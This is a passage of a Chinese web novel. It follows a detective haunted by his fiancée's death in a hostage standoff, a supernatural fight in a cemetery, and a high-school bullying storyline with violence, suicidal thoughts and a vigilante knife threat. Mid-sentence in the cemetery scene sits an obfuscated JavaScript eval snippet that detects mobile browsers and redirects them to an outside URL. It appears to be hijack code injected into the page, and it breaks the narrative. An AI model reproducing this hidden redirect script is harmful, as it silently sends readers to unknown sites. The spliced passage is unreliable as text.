他看着这些订下的餐越来越紧张,之前吃过一次烤肉、一次中餐、一次海鲜,所以这次想再换一种,但是自己在这方面真是没自信。 翻来覆去地确认,思考着时间和交通,正在他感觉越来越胃疼的时候,花莲的消息发了过来。 “我看看……好像是直接去那边了啊……咦?” 虽然看起来没什么,但是他觉得很奇怪,平时花莲好像并没有发送爱心图标的习惯。虽然颜文字倒是见过不少,可是这次却连着发了三个爱心。 虽然没有细想,但他还是直觉般地把手放在了枪边。 走到半道上,游乐园突然发生了爆炸声,人群直接乱了套。黑木的心里咯噔一下,但是相比于警察的义务,他还是决定先赶紧和花莲汇合再说。 到了地方之后,那边的人都已经跑完了,但是还有两个人待在原地。黑木直接就将提前上好膛的枪举了起来,“不许动。” 体型壮硕的男人也已经看见了黑木到来,直接笑出了声,“情报真是没出错啊,哈哈哈,瞧瞧是谁来了,这不是我们的大英雄吗!” 黑木喉咙微动,死死地盯着眼前的人。在刀刃下方的花莲害怕地看向他的方向,强行控制着自己的情绪。 “你到底是什么人。” “我是什么人?哦,对,警察先生应该是没见过我的,但是我要是说,那个五层烂尾楼……” “是你们!你这家伙,给我放开她!” 看见黑木一下就明白了自己是什么人,男人愉悦极了。 “好了好了,不要激动嘛,警察先生,你万一吓到我,我手一滑你说怎么办呢?” 黑木对他们印象很深,是自己立功的第一起案件中的犯罪集团。当时是在一个烂尾楼里,也是劫持了人质,但是却被黑木漂亮地救了下来。在警方几乎是没有办法的时候,迫在眉睫的形势下,他抓到一个机会,用精准地射击解决了挟持者,这一下就让他名声鹤起。 虽然警方是拒绝采访的,但还是被狗仔队找到了蛛丝马迹,毕竟当家属前去感谢的时候,任谁都知道立功的是谁。 快两个月了,没想到那群残党并没有被抓尽,还在这里想着报复自己。 黑木真的不知道应该怎么办,不像是之前执行任务时早就有队伍进行配合,此时这里只有他一个人,不论是从侧面狙击还是联系增援都是吃人说梦。 “你到底想要什么?” 男人的脸上笑容更盛,他就等着这句话呢,“自杀吧,大英雄,这样我就不会让她受到伤害。” 男人的话让黑木和花莲同时开始动摇,但是黑木并没有将枪放下,也没有任何类似于想要自杀的动作。 他现在心乱如麻,他完全不相信男人会信守承诺,他认为那些亡命之徒不杀人灭口都不错了,自己一旦死亡,花莲的命就很难说了。 男人见他不动便道:“你或许想拖时间,但是我并不希望和你耗在这里,我可以告诉你两件事。第一件事是,如果你没死,我的同伴将会炸掉那座摩天轮,让那些人作为我的陪葬品。第二件事是,如果你没有在五秒内自杀,她就要死。” “不要激动,如果你动手杀人,最终你也不会有好的结果,不如我们好好谈谈,与其选择这样的道路,不如选择安稳的生活。” 没想到,男人却轻蔑地摇了摇头,“你还是太年轻了,你应该没担任过负责谈判的职位吧?那就让我教教你,像我们这种人啊,当把刀架在别人脖子上的时候,就已经把自己当做一个死人了,哈哈哈哈哈。安稳的生活?你居然想要用这种东西来说服我,你也太好笑了。” 黑木的手有些发潮,细汗也从头上渐渐冒了出来。花莲的脑海已经是一片空白,连正常思考都做不到了。所有的压力都压在了他的肩头,但是他始终不知道要怎么样才能救下人质。 男人并不愿意拖延,他果断地开始了死亡倒计时,“我说过了,你只有五秒。五,四,三,二……” 黑木的大脑飞速转动,但是五秒的时间实在是太短了,而且焦急的内心让他想不出任何方案。就在男人的倒计时到2的时候,黑木已经无法保持冷静,他选择赌一把。 与其两个人可能都活不了,不如想办法击杀对方。这个男人身高并不高,以至于他劫持花莲的时候,身高几乎是与花莲持平。作为队伍里射击能力极其出众的黑木,他有百分之八十的自信一击毙命,并且已经做好了空枪之后再补一枪或者直接近身的准备。 一声枪响,在已经变得空旷的地方听起来异常清晰。黑木呆呆地看着眼前的场景,他不敢相信是这样的结果。 花莲睁大了眼睛,弹孔在她洁白的额头上格外显眼。她的眼神里空洞至极,即便已经永远无法活动身体,她还是在最后剩下了一丝说不清的东西。而在黑木的视角中,他看到那里剩下的是一丝不解。 “哈哈哈哈!你也有今天!” 男人实在是太愉悦了,黑木亲手杀死了自己的未婚妻,没有比这更令他开心的事了。这是黑木手抖或者紧张了吗?当然不是,黑木打得非常准,是他将花莲的脑袋送给了黑木的枪口。 “你觉得你出手之后就万事大吉了?不不不!我们太了解你了,我知道你一定会选择向我开枪,并且依照你的性格,一定不会等我数到1才开枪,而是要留下一点毫无意义的余量,所以我只是和你赌了一把,我赌你还有两秒开枪。” 男人说完,一把将尸体扔到一边,再将刀归鞘,一把扔到了很远的地方。他原本就是戴着手套的,现在那把刀上什么指纹都没有,他也是很好地控制着自己的力度,完全没有划破人质的皮肤,甚至没有留下印记。 做完这一切,他转头就跑。黑木举起枪,犹豫了三秒,还是放下来了。他向前冲去,他的身边就是花莲的尸体。到底是追逐那个男人还是陪在自己的未婚妻身旁,他做不出抉择。 “对不起。” 身为一个警察,他还是选择了追逐对方。心脏简直是在剧痛,明明爱人的尸体就在身边,却无法停止脚步,这个仇不报他将永远不会心安。 就在这时,又是一声炸响,摩天轮上的人都尖叫着看着地面。离地面比较近的人还好,在高空的人只能在恐惧之中眼睁睁地看着自己从那样的高度往下掉。听到这一声的黑木完全没有去管,此时他的眼里只有那个男人。 男人终究是跑不过黑木的,他看见爆炸完全没有影响到黑木,就知道自己没机会了,不过他还是拖了相当一段时间。 在某个时候,他突然放慢了脚步,手套不知道什么时候被摘下,还掏出了手机,一边走一边看,直到黑木追上来。 “你是谁啊!你要干什么!” “哈?” “我又不认识你,你是不是找错人了?” 男人满脸的无辜,黑木已经气炸了,他将男人压在身下控制住,男人还在不断挣扎,嘴里也念叨个不停。 “闭嘴,你个混蛋!” 黑木立即联系了警视厅,没过多久,增援的警察就到达了现场。警察们将现场保护好后展开了调查,那个男人也被关了起来。 黑木暗暗发誓,一定要让男人受到制裁 可是事情并没有向着他所想的方向发展。仅凭他的一面之词,完全没有办法作为证据,只能证明他就是杀死花莲的犯人。在监控覆盖本就差的环境下,能调出的监控中显示,男人只是低头玩着手机,突然就被黑木强行控制了。那个所说的挟持人质的刀,所掉落的地方离尸体有很长一段距离,还没有任何指纹,甚至掉落地点刚好是男人所处的出口的反方向,就连所谓的手套也完全没有在他的身上搜到。 “你们信我,真的就是那样的!” 黑木激动地站起来,但是大家的脸色都不好看。 “我还是愿意相信你的,黑木,可是你知道吗,首先,现在没有任何证据可以定他的罪,真如你所说的话,你就想在花莲身上找到他的油脂都做不到,他实在是太谨慎了。其次,如果他不能被定罪,开枪的人又是你,花莲身体里的子弹也是你的配枪里的,你很危险啊。” 黑木冷汗直流,一排桌子,“求求你们了,拜托了,他就是凶手!” 山田讲到这,两个女生都不禁叹气。 晴子问道:“那后来呢?最后判到了罪行吗?” “很遗憾,说起来也气。最终都没有找到男人犯罪的证据,黑木拼命地想到寻找男人买刀的线索,发现那把刀完全没有任何留下来的痕迹,很可能不属于那个男人。等到案子结案的那一刻,案件都没有任何进展,直到犯人被无罪释放。警视厅也想到了事实是什么,给了八塚队长和黑木先生一人一套房子作为慰问,将这件事压下去了。因为没有其他人知道,导致监控的覆盖率还是那样。” 从那次事件后,黑木就再也没有参加过与人质有关的任何行动,八塚玄也和他一下子疏远成了几乎是陌生人一般的程度。 那件事经常让他做噩梦,到现在为止已经四年过去了,他还是经常会做噩梦。每隔一段时间,或者当遇到令他心态不稳的事件时,他都会去花莲的墓前长久地赔罪。 当晴子听到这些的时候,心情有些复杂但又说不上来,明明黑木也是受害者之一,但她又觉得有些不爽。看着她眉头紧皱的样子,风夏感到有些莫名的担心。晴子就这么思考了一会,突然眉头舒展开,然后轻轻叹了口气就转去拿起了杯子又喝了一口。 琦玉,花莲老家的墓碑前,黑木久久不能释怀,已经这么些年了,自己始终无法从那件事里走出来。他希望可以忘掉那件事,想要寻求一个解脱,但他同时也不想忘记这件事,假如真的没心没肺地忘记了,那么自己就是彻底的烂人了。这是精神疲惫与思念的闭环,将他的心神锁在了名为愧疚的牢笼。 天十分阴沉,风已经开始渐渐展现出自己力量的一角,眼看着再过一段时间就可能会迎来狂风暴雨,他只得选择回到住处。可是还没等他转身,一个声音就从他的不远处响了起来。 “诶呦,这不是警察大人吗?” 他几乎是本能地,没有任何犹豫地就把枪掏了出来。 “四年过去了,你还是那样浮躁啊。” 黑木没有说话,他只是单纯地看着眼前的男人,他怎么可能忘记这个声音,这个充满着戏谑的令人恶心的声音。 “你想干什么!” 男人摆了摆手,“别激动嘛,我什么都没干,你伤害了我可是逃不了法律责任的哦。”他看了看黑木身边的墓碑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266087|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然就乐了起来,“喂喂喂,这是什么呀,没想到我哥和那个女人葬在一起啊,哈哈哈哈。” 黑木惊异地看向旁边的墓碑,他居然一直以来都不知道这件事。 “没想到吧,你当然不会知道了,你这种人怎么会关心我们这样的人呢?哪怕你可能分别听到了我们两个人的名字,但是隔两个月的时间,你还会记得我们这样的小角色吗?” 黑木心头一沉,他确实不想要了解他们。当时结案之后,同行的警察想和他讲一下这个案子,但是他以“再也不想和这样的人扯上关系”为由,并没有想要关注对方。那时的他心里全都是自己救人时的英姿,沉浸在自己立功的光荣感里。 这时,两个人从不远处走向了这边,然后看着眼前的两个男人有些不知所措。 晴子原本并没有看清是怎么回事,稍微靠近了之后才发现黑木正举着枪。黑木同样看到了她,眼神和表情瞬间出现了波动。 男人道:“既然你在这,我就不去了,我们有缘再见吧。” 他说完转身就要走,黑木的枪也在他转身离开之后慢慢放了下来。晴子微微偏头看看这个人,不知道他和黑木是什么关系。 就在错身而过的瞬间,男人突然忍不住露出笑容,随后一把抓向晴子的衣领,从兜里掏出了刀子。 黑木本应该快速反应而开枪的,可是却完全无法扣动扳机,就是这一瞬间的停顿就让对方顺利得手。 晴子也笑了出来,她突然就知道了这个人可能是什么人。她微笑着看向黑木,看着对方略微有些颤抖的手和瞬间苍白了不少的脸。 “哈哈哈哈,警察先生,你真是不长记性啊。” “你为什么要这么做!”黑木怒吼道,“这么做对你来说有什么好处!” 男人却露出了难以置信的表情,“这不是理所当然的吗?当初你杀死我哥的时候不就应该想到这一天吗?” “这一次你可没有戴手套,你以为这次你还能躲得过去吗?” “我不觉得啊,我总觉得这个世界没什么意思,所以就算我完蛋了,能把你身边在乎的人带上,不是也挺好的吗?” 晴子笑得更愉快了,同时也很好奇黑木到底会做出什么举动。可是此时的黑木甚至已经转不动脑子了,他以为自己已经成长了很多了,但是实际上却仍然在原地踏步,说不定还退步了。 就在僵持之时,三人几乎都愣住了,只不过一个是傻了,一个是惊讶,一个是恐惧。男人呆呆地看向黑木的身边,黑木也侧目过去,眼睛都仿佛在颤。一个怪人就那样凭空出现,身体完全凝结之后,身边还有形成时的余烟。 男人哪见过这个,这种东西也就在网上出现过,居然是真的吗? 那个怪人的左手拿着一把弓,右手一团黑气一喷,一支箭就出现在了手上。不紧不慢地拉开弓,正在愣神的男人直接被一箭爆头,临死之时眼里还是充满着难以置信。 实际上凭晴子的力量是可以将其救下来的,但是她还是觉得这种合理的无需法律责任的死亡最适合作为他的结局。 黑木不理解,“怎么会这样!我没有到那个地步啊!怎么会出现这种东西!” 他很清楚这个东西就是从自己身上形成的,那是一种说不上来的感觉,但就是明白这件事,仿佛可以感受到自己和怪人之间的一丝联系。 晴子一步步走过去,怪人又拉开了一弓。她偏头闪过,那支箭射中了墓园围栏的水泥部分,将那个立柱轰出了一个大洞。 “变身!” 她冲过去先给了怪人脸上一拳之后,趁着对方踉跄的功夫将手放在了腰间。黑木这才注意到,她的腰间不知道什么时候多出了一个剑鞘。 一把漆黑的剑被拔出,是一把西洋剑,这是上一次战斗后突然出现的变化。第一次拔剑的时候本来还以为会是武士刀之类的东西,但是没想到是这一类的。不过不管怎么样,这东西肯定会给自己的战斗能力提升一大等级就对了。 原本她是完全不会这些东西的,可是自己的身体却总觉得这个东西用起来如此顺手,仿佛是将它握在手里的时候就已经知道了战斗的方法。与其说这是武器,这更像是自己身体的一部分,亦如同与生俱来的本能一般。 双方用时动了,即便是再外行的她,也知道攻击弓箭手要快速近身便能取得优势。她的肌肉极速蓄力,迸射一般地向怪人冲去,在这个速度下,怪人一定射不出箭来。 就在她觉得得手了的时候,怪人的弓弦突然消失了,随后它将弓用作月牙刃,直接和晴子的剑刃对上,火花瞬间迸射出来。 怪人手里的弓虽然攻击距离比不过晴子,但是她也很难攻得进去。两方交手了六下,她感觉怪人就像一个没有空隙的堡垒,不管从哪里坎都占不到优势。 怪人向着她的小腿一个横扫,她跳起避开攻击。这一刻,她突然觉得怪人的速度骤然加快,手中的弓直接分成了一对双刀,从她身体两侧的上方向她夹击侧斩而下。 她一时间不知道要怎么做才好,在这个即将落地的空隙也无法躲避,于是挡住了其中一个刀刃,吃了另一击。她捂住自己的左臂,虽然没有流血,但是却和被砍了个口子没什么区别地生疼着。 不敢有任何松懈,怪人的双刃转瞬就到了眼前。但是踏实地踩在地上就比刚才要稳得多,在普通人的肉眼都看不清的速度下,黑木只听着武器之间激烈地碰撞着,双方已经在短短的几秒内交手了不知道多少下。 怪人又是一个大力双斩,她横剑一挡二,只是自己的身体被力量压出了几米,双脚在地上踩碎了两道水泥地。在她用剑斩开那股风压的时候,对面已经射来了三支箭。她赶紧挥剑去挡,但还是中了一箭。 有些沉重地喘着气,她一把握住箭杆,用力一握,整支箭都化为了碎片,然后转化为黑烟消散。在那个被射中的地方,一道鲜血从她漆黑的身体上流了下来。 黑木这才回过神来,提枪就打出了三发,然而这些子弹都穿过了怪人的身体,完全没能造成任何伤害。 “为什么……” 晴子也是心里默默记住,怪人的产生者即便借助外物都没法伤害到源于自己的怪人。 她可不会就那样看着黑木攻击而不作为,不管会不会起到作用,她都将其视为机会,几乎是黑木枪声一灭,她就和怪人已经双刃相对了。由于怪人是月牙刃状态,所以也没有第二把刀用来挥砍,两者就这样单纯地比拼着力量。 令她自己都没想到的是,她的力量要比怪人更胜一筹。同样是一股风压,这次是从她的剑上发出,将怪人的剑一下挥偏到了一旁。借此机会,她又连出数剑,在怪人身上砍出道道火光。 “真硬啊。” 虽然这么感叹着,但是怪人也明显受伤不轻,尤其是最后一下,几乎让怪人的右手抬不起来。稍微调整了姿态后,她再次攻了过去,完全不给对方恢复的时间。但是怪人也不傻,它借着对冲的力和自己的脚力迅速拉开了一段距离,抬手就是连射。 这次晴子眼睛死死盯着打过来的攻击,没有再被任何东西影响,硬是将射来的七支箭一个不落地用剑挡了下来。在七支箭后,隔了比刚才要久一点的间隔,怪人在天空中射出了带着浓重气息的一箭。 这一箭与之前的都不是一个量级,晴子吃力地与之进行着抗衡,但是那支箭的力量实在是太大了,在晴子的身边引发了一个如同炸弹一般的爆炸,威力也要比炸弹强得多。她的周身被炸出了一个坑, 烟尘四起,正当黑木不知晴子生死未卜,那烟尘里却突然窜出了一个身影。即便是怪人都没有反应过来,剑已经把他的心脏穿了个通透。 她拔出剑分别向斜下和斜上补了两剑,随后一个转身横斩,将怪人的脖子斩断了一半。虽说取得了胜利,可是她的身上也有四道正在淌血的伤口。怪人的颈部破碎皲裂,随后化为了黑烟。 她在原地顿了顿,然后看向了自己的剑。 “呵,哈哈哈,哈哈哈哈哈……” 黑木看着晴子解除了变身,浑身是血的她却在疯狂地笑着,这让黑木不知道到底发生了什么。 “啊,这真是太棒了!” 她仰头看向天空,眼里满是抑制不住的兴奋。在怪人死去的那一瞬间,所有的黑烟都被剑直接吸收,并且她完全没有感受到当事人的任何经历和情绪,这实在是太美妙了! “四个月了!整整四个月!”她偏头看向黑木,“你知道这四个月我是怎么过的吗?哈哈哈哈,是不是我今天顺路的祈祷起了作用呢?看来我并不是被神明抛弃的人啊。” 黑木一头雾水,在他的眼里晴子所展现出的并不是愉快,而是令人望而却步的疯狂。他不知道晴子到底经历了什么,但是自己离开的这一段时间,这个女孩好像整个人都不太一样了,这让他微微皱起了眉头。 晴子慢慢停下了笑,警笛声渐渐出现。在车里的风夏在看到晴子被挟持的时候第一时间报了警,现在琦玉警署的警察终于要到场了。 “走吧,黑木先生,大家都很担心你呢。” 晴子向他伸出了手,脸上的笑容仿佛是能够照亮这阴天的太阳,以至于这让他感觉仿佛自己刚才看到的一切都是错觉一般。 不知道为什么,刚才还十分难受的心里,现在却变得异常轻松。明明自己完全没有整理好情绪,可现在又觉得根本没什么了。下意识地握住晴子的手,黑木感觉自己整个人都十分安心,仿佛自己面前的才是高大的警察,而自己这是一个小姑娘一般。 “怎么了?” “不,没什么。”黑木将手放在了心脏的位置,虽然觉得确实少了负面的情绪,但是又觉得稍微有点空。但他没有太过纠结,只是和晴子一起向墓园外走去,或许之后还有很多需要和当地警方解释的东西,或许还会遇到一些麻烦,但他感受到了切实的内心的平和。 花莲的墓碑前,那一枝鲜花仿佛绽放着光芒,为整片墓园都带来了生机。 8. 光芒 今天,原本还有些沉寂的校园突然变得热闹,不断有学生踏入其中,好奇地看着自己身边的一切。没错,今天正是学校的新生入学典礼。从初中部升到高中部的新生们,将第一次和前辈们一起聆听属于高中的第一次激励。 校门外,后藤梨沙的母亲将她送到了门口。 “梨沙,高中加油啊。” “嗯,妈妈,我会的!” 母亲的眼神中慈爱又带着些担心,但是看着女儿有精神比什么都强。梨沙已经跑远了,却又回头狠狠地向母亲挥挥双手,母亲也轻轻挥动右手示意,嘴角的笑容也渐渐浮现了出来。 “田径部!田径部招人了!没有信心也没事,我们需要用于拼搏的你!” “来合唱部吧,师姐们都很温柔的呦!” “想要扮演自己喜欢的角色,亲身体验那些角色的剧情吗?来话剧部吧!” 听着各种社团的招新,看着眼前的一片朝气,梨沙感觉这里和初中时确实不一样了。她兴奋异常,迫不及待地想要开始新的生活。 “学院偶像同好会!学园……嗯?同学!” 这个女生正在招人,突然看见了一个似乎有些熟悉的身影。 “怎么了?” “你不会是那个小原风夏吧!” 风夏露出灿烂的笑脸,“是我呀。” 女生震惊异常,“没想到你居然考得是这所学校,我曾经看过你的演出,真是太可怕了,初中生就有那样的自信和张力,要不要来我们学院偶像同好会呢?大家都是热爱且努力的人,如果有你在,我们说不定可以冲击全国大赛呢!” 风夏想了想,“让我考虑一下吧,我才刚入校,一切还需要适应一下,如果我决定好了会来找前辈的。” 女生面色一喜,连忙道:“我是三年级5班的青山玲,不论你未来是否入部都请多指教啦!” 两人握了握手后,风夏就暂且道别了青山玲。 “高中啊……”风夏看着来来往往的人,说实话有些提不起兴致。她总觉得这些人看起来就没什么意思,很多人都喜欢的青春校园,对她来说并没有足够的吸引力。硬要说起来,还是昨天去看的科技展比较有趣。 身为小原家的女儿,经营着大型化妆品公司的父母从小就让她接触了太多的人。怎么说呢,她时常觉得那些机器人比真正的人更令人喜爱。那些与父母相谈甚欢的人,看起来不是想要得到眼前的利益,就是希望和自己混个脸熟。 虚伪的笑容,虚假的关心,即便是再小的她,只要见多了也能看得出来。她甚至觉得自己在初中的时候那么受欢迎,很可能是因为她是一个有背景的人罢了。每当看见台下那些疯狂的人,她都觉得这多少是有些浮夸了。 自己虽然说是有一定的歌唱与跳舞的才能的,但是这种程度的表演远远达不到能被人如此疯狂夸赞的地步。每当看到那些人的脸都令她感到恶心,尤其是那些家里同样有些背景的人,或许是受父母指示来尝试交朋友,都能看到她阳光的笑脸,但是看不见的,是她达到想吐的地步的厌恶。 “还真的有从一入校就愁眉苦脸的人呢。” 她看着一个从身边经过的女生,那个人的眼里根本没有称得上喜悦的东西,总觉得是一个难以接触的角色。她一直不习惯应对这样的人,或许是一个小混混,又或许是一个阴暗的人,还是得离远点比较好。 晴子双手插兜想着自己的事情,举止仿佛不像一个女孩。但这也不怪她,毕竟刚才的那个场景还没有让她回过神来。不知道怎么回事,自己在六天前发现自己获得了一种神奇的力量,只是这样的力量也让她会经受与被帮助者相同的痛苦。 自己一直是碌碌无为的,这就是晴子一直以来给自己的评价。没有理想,没有目标,没有成果。但是获得这个力量后,她意识到自己是一个可以帮上别人的人,这令她十分开心。哪怕是会经受痛苦也在所不惜,她觉得帮助别人能够让她获得满足感。 经过了一些社团的纳新地,她心里不禁感叹着这些人真有精神。尤其是刚才和自己擦肩而过的女生,居然被学院偶像同好会如此重视,真是了不得的现充,看起来就是闪闪发光的。不过那个女生倒是有些奇怪,在她的身上所看到的是黑与金交汇的气场,普通人只会拥有其中一方才对,哪一种气场目前更强,表现出的就会是哪一种,不过这一幕也令她成功记住了那个女生的样貌。 大礼堂中,学生们坐在一起听着校长的讲话。这种场面对晴子来说其实非常不舒服,她真的讨厌人多的地方。原本她就是一个十分喜欢安静的人,即便是自己处在一个小空间也很舒服,但是当大量的人把本是宽敞的空间挤得没有那么多的容身之处,她就感觉十分难受。 另一方面,她现在还完全无法控制自己的力量,当人头聚集在一起的时候,她满眼都是不用程度的黑色和金色的气息,哪怕一开始感觉还好,长久地这样下去,她早已对此感到厌烦。在这样的大礼堂,她都快看不清在场的人了,气息比较轻的地方还好,那些严重的正面和负面情绪聚集的地方,简直是令人难受得想要大喊。 “现在让我们有请新生代表小原风夏同学上台。” 风夏一步步走上去,面带微笑但眼神稍有空洞。她扫视了一下在场的所有人,这种场面她也早就习惯了,轻轻拿起麦克风,也不需要任何稿子,一篇振奋人心的演讲就轻而易举地被拉开了序幕。 当她上台的时候,晴子也看向了台上。 “没想到是她呀,这下倒是有些意思了。” 原本晴子是完全不想听这些讲话的只走过场的人,这次破天荒地听完了这位新生代表的发言。 在一片掌声中,她伸了个懒腰,嘴角也有些上扬,“看样子高中也蛮有意思的啊。” 2班的教室里,晴子和风夏都有些坐不住,晴子因为好奇总想回头去看,风夏则是为了避免和她扯上关系而感到发愁。 “大家好,我是大家的班主任……” 这是一个看起来很温和的男人,即便他并没有露出多少情绪,但是他的眼睛始终流露出温柔的神情。风夏早就听说2班的老师是对学生最好的,见到之后感觉还是很满意的。至于自己为什么这么巧就碰上了自认为最好的老师,当然是因为托关系左右了分班的结果,这对她来说已经是基本操作了。至于那个倒霉蛋去哪了,和她就没什么关系了。 惯例的自我介绍环节到来,学生们一个个地介绍着自己的名字和爱好,有些内向的学生只是草草了事就赶紧坐下,而那些外向的则是恨不得多说几句,仅仅使用这么不到一分钟的时间,就让人感觉到那将来一定是带领班级前进的人物。 “中川葵。”一个女生痞里痞气地站起来,就说了自己的名字就坐下了,向后一仰,然后一脸笑意地看着其他人。 老师和学生们都是皱起了眉头,这对一个班级来说实在不是一个好现象。 晴子就像是看傻子一样瞥了一眼中川葵,风夏则是轻声自语了一句“无聊”之后就看向了窗外。自己前面的一个就不好接触,又多了一个不良,真不知道自己的运气是不是用完了。当下她就决定放学后去塞点钱拜一拜,好让神仙保佑一下自己高中生活不要闹心。 终于轮到了晴子,她站了起来,“我叫香月晴子,没有什么特别的爱好,不过倒是比较喜欢看漫画,未来……”她停顿了一下,同学们都静静地等待着,过了大概五秒左右,她再次开口,“未来希望自己可以成为能给他人带来帮助的人,希望和大家成为朋友,请多指教。” 风夏愣了一下,她没料到晴子会说出这样的话来。 下课时,晴子发现风夏身上的金光明显强了一分,不过她似乎十分受欢迎,导致晴子也没法和她说什么,不过本来也没什么想说的就是了。过自己的生活,享受自己喜欢的东西,至于别人是什么样的,对晴子来说这并不是值得考虑的问题。 4班,后藤梨沙将书本合了起来,满足感充斥着她的全身。到底有多久没有这样享受学校的时光了?大概有两年了吧。现在的她终于可以重新好好地面对学校,趴在属于自己的课桌上,享受着一丝凉意透过自己的薄衫,安心地闻着新书特有的气味。 站起身走出教室,虽然还没有可以一起去厕所的朋友,但是她相信很快就会有的。毕竟在之前自我介绍的时候,有不少女生都让自己觉得是不错的人。 走到一个隔间,刚要开门,突然背后传来了打招呼的声音。 “呦,后藤。” 梨沙一下就僵在了原地,她不愿意相信这件事,哪怕事实已经那样清晰地呈现在了自己的耳边,她仍然希望这是假的。 “中川葵。” 她有些愤怒地看向背后的人,具体地说是三个人。然而迎接她的,是一声清脆的耳光。 “谁允许你这样叫我的,你的敬语哪去了?” 原本在厕所的女生们都像躲瘟神一样走出了厕所,没有一个人想掺和这样的事。 中川葵感到很开心,“真是太巧了,没想到你也进了这个学校呢。” 巧?怎么可能呢。她可是拜托了自己教育部门的父亲专门打听了梨沙的报考志愿呢,当然,是以关心朋友的名义。本来以为梨沙也会出现在2班,却没想到那个家伙居然在4班,直接把她们三个都躲过了,按理说不应该的,但这并不会影响什么。 梨沙永远都不会忘记这个人的声音,她忘不了自己被抢钱和辱骂,忘不了自己被殴打的时候撞在墙上的额头,忘不了被逼跪在地上反复抽脸的泪水。即便到了这样的地步,老师却对那三人的行为视而不见,父亲只是说着她脆弱无能,只有母亲还会稍微关心一些。当提出要转学的时候,居然被校方拒绝了,理由是并不觉得这构成了霸凌,还说了一堆话反驳了对中川葵等人人品的质疑。 本来她已经拒绝上学,但当母亲说出“如果再不去上学就可能被学校开除”的时候,她觉得自己活在这个世界上就是个笑话。当一年前的自杀未遂事件发生之后,本以为母亲可能会说些什么特别的话,但结局却是母亲跪在地上痛哭着说自己有多么痛苦,仿佛她的自杀是那样得罪恶。于是,数着日子等待初中结束的生活正式开始了。 “喂,和你说话呢,发什么呆啊。” 梨沙被一脚踹到了地上,然后被熟练地掏出了钱包。 “借你点钱,咱们可是朋友啊。”中川葵心情极好地凑到了梨沙的耳边,“放学来天台,我想和你叙叙旧呢。” 三人笑着离开,梨沙咬着牙,不争气的眼泪还是流了下来。可是她又努力忍着不让自己尖叫嘶吼,因为她知道那样做了之后,外面只会传来比刚才更愉悦的笑声,自己也会被打得更惨。 她用手不断地砸着厕所的地面,哪怕拳头已经发红,也没有自己的内心更痛。为什么,为什么自己已经到了高中,已经到了新的学校,还没有办法摆脱这样的事? “要不,还是死了吧,刚好要到天台来着,不过学校的天台都是有铁丝网的,好麻烦啊,连死都不能痛快呢。” 她用力慢慢站了起来,距离上课已经没有多长时间了。 厕所的门缓缓打开,风夏从其中走了出来。她轻轻叹了口气,“中川葵是吧,刚好和我还是一个班的呢,姑且去问问吧。” 晴子在走廊里看着外面,突然感受到一股冲天的黑气,她眉头一皱,看向了那个脸颊发红的女孩,根据为数不多的经验,这种程度的黑气只意味着一件事。 一整天过去了,终于到了放学的时间。风夏感觉有些奇怪,怎么自己前座的香月同学每个课间都要往外跑,还以为是个阴沉的人呢,结果是坐不住的那种吗? 当放学的时刻来临时,晴子几乎是冲出了教室,让老师都无奈地连连摇头,仿佛看见了被一个差生反复折磨心神的未来,但同时他也感到一些欣慰,毕竟在他的眼里,学生们能精神地去做自己想做的事要更重要一些。 风夏也走出了教室,并不是为了回家,既然被自己碰上了,终究是要想办法在保全自己的情况下管一管的。 学生们一个接一个地下了楼,越往上就越是没人。梨沙呆呆地看着天上的云,已经如同行尸走肉一般。 三个女生推开了天台的门,“哎呦,这么积极啊,我很满意。” 反正又是些无聊的自我满足吧。梨沙只想快点听完这些人的话,然后只好忍受完这一段时间,自己就可以去寻求解脱的办法了。 中川葵掏出了自己的手机,“你知道吗后藤,我最近发现了一个有趣的事情,但是我得需要你帮我一个小忙。呐,后藤,把衣服脱了吧。” 原本梨沙只是想听完这三个人令人恶心的发言,但是却突然发现三个摄像头都对准了自己。 “喂,我说的话你没听见吗?我叫你把衣服脱了。” 中川葵又是一巴掌打在了梨沙的脸上,正要补上一脚,天台的门突然被人一脚踹开了。 “喂,你是谁啊?” 晴子就这么一步步走过去,如同看虫子一样看着那三个人。 中川葵一下就不爽了起来,“你听不到我在和你说话?” 这三人也同样向晴子走去,可是令这三人没想到的是,就在话音刚落的时候,晴子一脚就将中川葵踹到了地上。就这样还没完,她又是几脚把旁边的两人都干倒之后,对着倒在地上的中川葵全力踢了十几脚,哪怕中川葵已经满嘴求饶还是一脚接着一脚地踢过去,最后一脚踩到了胸口上。 “不瞒你说,我最近感觉自己的力量好像提升了一些,不找个地方使使劲儿我就有点不爽啊。”她从兜里掏出一把小刀放在了中川葵的脖子上,“你觉得这样的行为很有意思?” 中川葵已经被吓傻了,冰冷的刀刃令她感到恐惧,身上的疼痛令她感到清醒,她没料到居然有人真的会做到这个地步,但她还是强装镇定地说:“你做这样的事,你父母知道了恐怕会打死你吧!” “噗,哈哈哈哈。”晴子以为自己听错了,她没想到这人的嘴里只能说出这种程度的话来,反倒让人有些失望了,以至于她笑出了声,“父母?如果你指的是躺在墓园中的那两个墓碑的话,我想他们是没有办法打我的哦。” “那你的前途呢!你会被抓!你……” 中川葵看着晴子有些瘆人的笑脸,不知道什么时候已经流了满头的汗。 晴子抓着她的领子把她从地上拎起来一些,然后凑到了她的耳边,“你知道吗?我们学校的摄像头,超级少的。” 中川葵怕了,她瞪大了眼睛,想要逃离,可是不知道为什么晴子的手就像钳子一样令她无法脱身。 晴子放开手,中川葵马上就要爬起来,结果却没想到被晴子一把握住了头发,然后直接把头重重地按在了地上,而她冲着的是梨沙的方向。 晴子看着正在挣扎的她,保持将她的额头贴地的同时,一把将刀向她脸旁的地上一刺,“接下来我会根据你的态度考虑要对你做什么,你知道你应该做什么吗,啊?” “我……” “我听不见!” “我知道!” 晴子松了力之后一脚踏在了中川葵的脚腕上,后者痛苦地尖叫了一声之后像是一条死狗一样看向了站在自己面前的梨沙。 “三。” “二。” 晴子的声音平静地传来,中川葵连忙道:“对不起!我不该对你做这些事!请原谅我!” 